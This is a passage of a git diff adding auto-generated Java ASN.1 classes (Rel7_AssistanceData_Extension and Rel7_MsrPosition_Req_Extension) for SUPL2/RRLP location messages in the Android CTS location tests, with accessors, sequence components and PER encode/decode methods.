+ this.ganssCarrierPhaseMeasurementRequest_ = (Rel7_AssistanceData_Extension.ganssCarrierPhaseMeasurementRequestType) value;
+ }
+ public Rel7_AssistanceData_Extension.ganssCarrierPhaseMeasurementRequestType setGanssCarrierPhaseMeasurementRequestToNewInstance() {
+ ganssCarrierPhaseMeasurementRequest_ = new Rel7_AssistanceData_Extension.ganssCarrierPhaseMeasurementRequestType();
+ return ganssCarrierPhaseMeasurementRequest_;
+ }
+
+ private Rel7_AssistanceData_Extension.ganssTODGSMTimeAssociationMeasurementRequestType ganssTODGSMTimeAssociationMeasurementRequest_;
+ public Rel7_AssistanceData_Extension.ganssTODGSMTimeAssociationMeasurementRequestType getGanssTODGSMTimeAssociationMeasurementRequest() {
+ return ganssTODGSMTimeAssociationMeasurementRequest_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel7_AssistanceData_Extension.ganssTODGSMTimeAssociationMeasurementRequestType
+ */
+ public void setGanssTODGSMTimeAssociationMeasurementRequest(Asn1Object value) {
+ this.ganssTODGSMTimeAssociationMeasurementRequest_ = (Rel7_AssistanceData_Extension.ganssTODGSMTimeAssociationMeasurementRequestType) value;
+ }
+ public Rel7_AssistanceData_Extension.ganssTODGSMTimeAssociationMeasurementRequestType setGanssTODGSMTimeAssociationMeasurementRequestToNewInstance() {
+ ganssTODGSMTimeAssociationMeasurementRequest_ = new Rel7_AssistanceData_Extension.ganssTODGSMTimeAssociationMeasurementRequestType();
+ return ganssTODGSMTimeAssociationMeasurementRequest_;
+ }
+
+ private Add_GPS_AssistData add_GPS_AssistData_;
+ public Add_GPS_AssistData getAdd_GPS_AssistData() {
+ return add_GPS_AssistData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Add_GPS_AssistData
+ */
+ public void setAdd_GPS_AssistData(Asn1Object value) {
+ this.add_GPS_AssistData_ = (Add_GPS_AssistData) value;
+ }
+ public Add_GPS_AssistData setAdd_GPS_AssistDataToNewInstance() {
+ add_GPS_AssistData_ = new Add_GPS_AssistData();
+ return add_GPS_AssistData_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanss_AssistData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanss_AssistData();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanss_AssistDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_AssistData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganss_AssistData : "
+ + getGanss_AssistData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssCarrierPhaseMeasurementRequest() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssCarrierPhaseMeasurementRequest();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssCarrierPhaseMeasurementRequestToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Rel7_AssistanceData_Extension.ganssCarrierPhaseMeasurementRequestType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssCarrierPhaseMeasurementRequest : "
+ + getGanssCarrierPhaseMeasurementRequest().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTODGSMTimeAssociationMeasurementRequest() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTODGSMTimeAssociationMeasurementRequest();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTODGSMTimeAssociationMeasurementRequestToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Rel7_AssistanceData_Extension.ganssTODGSMTimeAssociationMeasurementRequestType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTODGSMTimeAssociationMeasurementRequest : "
+ + getGanssTODGSMTimeAssociationMeasurementRequest().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getAdd_GPS_AssistData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAdd_GPS_AssistData();
+ }
+
+ @Override public void setToNewInstance() {
+ setAdd_GPS_AssistDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Add_GPS_AssistData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "add_GPS_AssistData : "
+ + getAdd_GPS_AssistData().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssCarrierPhaseMeasurementRequestType extends Asn1Null {
+ //
+
+ private static final Asn1Tag TAG_ganssCarrierPhaseMeasurementRequestType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssCarrierPhaseMeasurementRequestType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssCarrierPhaseMeasurementRequestType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssCarrierPhaseMeasurementRequestType != null) {
+ return ImmutableList.of(TAG_ganssCarrierPhaseMeasurementRequestType);
+ } else {
+ return Asn1Null.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssCarrierPhaseMeasurementRequestType from encoded stream.
+ */
+ public static ganssCarrierPhaseMeasurementRequestType fromPerUnaligned(byte[] encodedBytes) {
+ ganssCarrierPhaseMeasurementRequestType result = new ganssCarrierPhaseMeasurementRequestType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssCarrierPhaseMeasurementRequestType from encoded stream.
+ */
+ public static ganssCarrierPhaseMeasurementRequestType fromPerAligned(byte[] encodedBytes) {
+ ganssCarrierPhaseMeasurementRequestType result = new ganssCarrierPhaseMeasurementRequestType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssCarrierPhaseMeasurementRequestType (null value);\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssTODGSMTimeAssociationMeasurementRequestType extends Asn1Null {
+ //
+
+ private static final Asn1Tag TAG_ganssTODGSMTimeAssociationMeasurementRequestType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssTODGSMTimeAssociationMeasurementRequestType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssTODGSMTimeAssociationMeasurementRequestType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssTODGSMTimeAssociationMeasurementRequestType != null) {
+ return ImmutableList.of(TAG_ganssTODGSMTimeAssociationMeasurementRequestType);
+ } else {
+ return Asn1Null.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssTODGSMTimeAssociationMeasurementRequestType from encoded stream.
+ */
+ public static ganssTODGSMTimeAssociationMeasurementRequestType fromPerUnaligned(byte[] encodedBytes) {
+ ganssTODGSMTimeAssociationMeasurementRequestType result = new ganssTODGSMTimeAssociationMeasurementRequestType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssTODGSMTimeAssociationMeasurementRequestType from encoded stream.
+ */
+ public static ganssTODGSMTimeAssociationMeasurementRequestType fromPerAligned(byte[] encodedBytes) {
+ ganssTODGSMTimeAssociationMeasurementRequestType result = new ganssTODGSMTimeAssociationMeasurementRequestType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssTODGSMTimeAssociationMeasurementRequestType (null value);\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Rel7_AssistanceData_Extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel7_MsrPosition_Req_Extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel7_MsrPosition_Req_Extension.java
new file mode 100755
index 0000000..b2567b5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel7_MsrPosition_Req_Extension.java
@@ -0,0 +1,960 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Rel7_MsrPosition_Req_Extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Rel7_MsrPosition_Req_Extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Rel7_MsrPosition_Req_Extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Rel7_MsrPosition_Req_Extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Rel7_MsrPosition_Req_Extension != null) {
+ return ImmutableList.of(TAG_Rel7_MsrPosition_Req_Extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Rel7_MsrPosition_Req_Extension from encoded stream.
+ */
+ public static Rel7_MsrPosition_Req_Extension fromPerUnaligned(byte[] encodedBytes) {
+ Rel7_MsrPosition_Req_Extension result = new Rel7_MsrPosition_Req_Extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Rel7_MsrPosition_Req_Extension from encoded stream.
+ */
+ public static Rel7_MsrPosition_Req_Extension fromPerAligned(byte[] encodedBytes) {
+ Rel7_MsrPosition_Req_Extension result = new Rel7_MsrPosition_Req_Extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Rel7_MsrPosition_Req_Extension.velocityRequestedType velocityRequested_;
+ public Rel7_MsrPosition_Req_Extension.velocityRequestedType getVelocityRequested() {
+ return velocityRequested_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel7_MsrPosition_Req_Extension.velocityRequestedType
+ */
+ public void setVelocityRequested(Asn1Object value) {
+ this.velocityRequested_ = (Rel7_MsrPosition_Req_Extension.velocityRequestedType) value;
+ }
+ public Rel7_MsrPosition_Req_Extension.velocityRequestedType setVelocityRequestedToNewInstance() {
+ velocityRequested_ = new Rel7_MsrPosition_Req_Extension.velocityRequestedType();
+ return velocityRequested_;
+ }
+
+ private GANSSPositioningMethod ganssPositionMethod_;
+ public GANSSPositioningMethod getGanssPositionMethod() {
+ return ganssPositionMethod_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSPositioningMethod
+ */
+ public void setGanssPositionMethod(Asn1Object value) {
+ this.ganssPositionMethod_ = (GANSSPositioningMethod) value;
+ }
+ public GANSSPositioningMethod setGanssPositionMethodToNewInstance() {
+ ganssPositionMethod_ = new GANSSPositioningMethod();
+ return ganssPositionMethod_;
+ }
+
+ private GANSS_AssistData ganss_AssistData_;
+ public GANSS_AssistData getGanss_AssistData() {
+ return ganss_AssistData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSS_AssistData
+ */
+ public void setGanss_AssistData(Asn1Object value) {
+ this.ganss_AssistData_ = (GANSS_AssistData) value;
+ }
+ public GANSS_AssistData setGanss_AssistDataToNewInstance() {
+ ganss_AssistData_ = new GANSS_AssistData();
+ return ganss_AssistData_;
+ }
+
+ private Rel7_MsrPosition_Req_Extension.ganssCarrierPhaseMeasurementRequestType ganssCarrierPhaseMeasurementRequest_;
+ public Rel7_MsrPosition_Req_Extension.ganssCarrierPhaseMeasurementRequestType getGanssCarrierPhaseMeasurementRequest() {
+ return ganssCarrierPhaseMeasurementRequest_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel7_MsrPosition_Req_Extension.ganssCarrierPhaseMeasurementRequestType
+ */
+ public void setGanssCarrierPhaseMeasurementRequest(Asn1Object value) {
+ this.ganssCarrierPhaseMeasurementRequest_ = (Rel7_MsrPosition_Req_Extension.ganssCarrierPhaseMeasurementRequestType) value;
+ }
+ public Rel7_MsrPosition_Req_Extension.ganssCarrierPhaseMeasurementRequestType setGanssCarrierPhaseMeasurementRequestToNewInstance() {
+ ganssCarrierPhaseMeasurementRequest_ = new Rel7_MsrPosition_Req_Extension.ganssCarrierPhaseMeasurementRequestType();
+ return ganssCarrierPhaseMeasurementRequest_;
+ }
+
+ private Rel7_MsrPosition_Req_Extension.ganssTODGSMTimeAssociationMeasurementRequestType ganssTODGSMTimeAssociationMeasurementRequest_;
+ public Rel7_MsrPosition_Req_Extension.ganssTODGSMTimeAssociationMeasurementRequestType getGanssTODGSMTimeAssociationMeasurementRequest() {
+ return ganssTODGSMTimeAssociationMeasurementRequest_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel7_MsrPosition_Req_Extension.ganssTODGSMTimeAssociationMeasurementRequestType
+ */
+ public void setGanssTODGSMTimeAssociationMeasurementRequest(Asn1Object value) {
+ this.ganssTODGSMTimeAssociationMeasurementRequest_ = (Rel7_MsrPosition_Req_Extension.ganssTODGSMTimeAssociationMeasurementRequestType) value;
+ }
+ public Rel7_MsrPosition_Req_Extension.ganssTODGSMTimeAssociationMeasurementRequestType setGanssTODGSMTimeAssociationMeasurementRequestToNewInstance() {
+ ganssTODGSMTimeAssociationMeasurementRequest_ = new Rel7_MsrPosition_Req_Extension.ganssTODGSMTimeAssociationMeasurementRequestType();
+ return ganssTODGSMTimeAssociationMeasurementRequest_;
+ }
+
+ private RequiredResponseTime requiredResponseTime_;
+ public RequiredResponseTime getRequiredResponseTime() {
+ return requiredResponseTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RequiredResponseTime
+ */
+ public void setRequiredResponseTime(Asn1Object value) {
+ this.requiredResponseTime_ = (RequiredResponseTime) value;
+ }
+ public RequiredResponseTime setRequiredResponseTimeToNewInstance() {
+ requiredResponseTime_ = new RequiredResponseTime();
+ return requiredResponseTime_;
+ }
+
+ private Add_GPS_AssistData add_GPS_AssistData_;
+ public Add_GPS_AssistData getAdd_GPS_AssistData() {
+ return add_GPS_AssistData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Add_GPS_AssistData
+ */
+ public void setAdd_GPS_AssistData(Asn1Object value) {
+ this.add_GPS_AssistData_ = (Add_GPS_AssistData) value;
+ }
+ public Add_GPS_AssistData setAdd_GPS_AssistDataToNewInstance() {
+ add_GPS_AssistData_ = new Add_GPS_AssistData();
+ return add_GPS_AssistData_;
+ }
+
+ private Rel7_MsrPosition_Req_Extension.ganssMultiFreqMeasurementRequestType ganssMultiFreqMeasurementRequest_;
+ public Rel7_MsrPosition_Req_Extension.ganssMultiFreqMeasurementRequestType getGanssMultiFreqMeasurementRequest() {
+ return ganssMultiFreqMeasurementRequest_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel7_MsrPosition_Req_Extension.ganssMultiFreqMeasurementRequestType
+ */
+ public void setGanssMultiFreqMeasurementRequest(Asn1Object value) {
+ this.ganssMultiFreqMeasurementRequest_ = (Rel7_MsrPosition_Req_Extension.ganssMultiFreqMeasurementRequestType) value;
+ }
+ public Rel7_MsrPosition_Req_Extension.ganssMultiFreqMeasurementRequestType setGanssMultiFreqMeasurementRequestToNewInstance() {
+ ganssMultiFreqMeasurementRequest_ = new Rel7_MsrPosition_Req_Extension.ganssMultiFreqMeasurementRequestType();
+ return ganssMultiFreqMeasurementRequest_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getVelocityRequested() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVelocityRequested();
+ }
+
+ @Override public void setToNewInstance() {
+ setVelocityRequestedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Rel7_MsrPosition_Req_Extension.velocityRequestedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "velocityRequested : "
+ + getVelocityRequested().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssPositionMethod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssPositionMethod();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssPositionMethodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSPositioningMethod.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssPositionMethod : "
+ + getGanssPositionMethod().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanss_AssistData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanss_AssistData();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanss_AssistDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_AssistData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganss_AssistData : "
+ + getGanss_AssistData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssCarrierPhaseMeasurementRequest() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssCarrierPhaseMeasurementRequest();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssCarrierPhaseMeasurementRequestToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Rel7_MsrPosition_Req_Extension.ganssCarrierPhaseMeasurementRequestType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssCarrierPhaseMeasurementRequest : "
+ + getGanssCarrierPhaseMeasurementRequest().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTODGSMTimeAssociationMeasurementRequest() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTODGSMTimeAssociationMeasurementRequest();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTODGSMTimeAssociationMeasurementRequestToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Rel7_MsrPosition_Req_Extension.ganssTODGSMTimeAssociationMeasurementRequestType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTODGSMTimeAssociationMeasurementRequest : "
+ + getGanssTODGSMTimeAssociationMeasurementRequest().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getRequiredResponseTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRequiredResponseTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setRequiredResponseTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RequiredResponseTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "requiredResponseTime : "
+ + getRequiredResponseTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getAdd_GPS_AssistData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAdd_GPS_AssistData();
+ }
+
+ @Override public void setToNewInstance() {
+ setAdd_GPS_AssistDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Add_GPS_AssistData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "add_GPS_AssistData : "
+ + getAdd_GPS_AssistData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssMultiFreqMeasurementRequest() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssMultiFreqMeasurementRequest();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssMultiFreqMeasurementRequestToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Rel7_MsrPosition_Req_Extension.ganssMultiFreqMeasurementRequestType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssMultiFreqMeasurementRequest : "
+ + getGanssMultiFreqMeasurementRequest().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class velocityRequestedType extends Asn1Null {
+ //
+
+ private static final Asn1Tag TAG_velocityRequestedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public velocityRequestedType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_velocityRequestedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_velocityRequestedType != null) {
+ return ImmutableList.of(TAG_velocityRequestedType);
+ } else {
+ return Asn1Null.getPossibleFirstTags();
+ }
+ }
+
+ /**
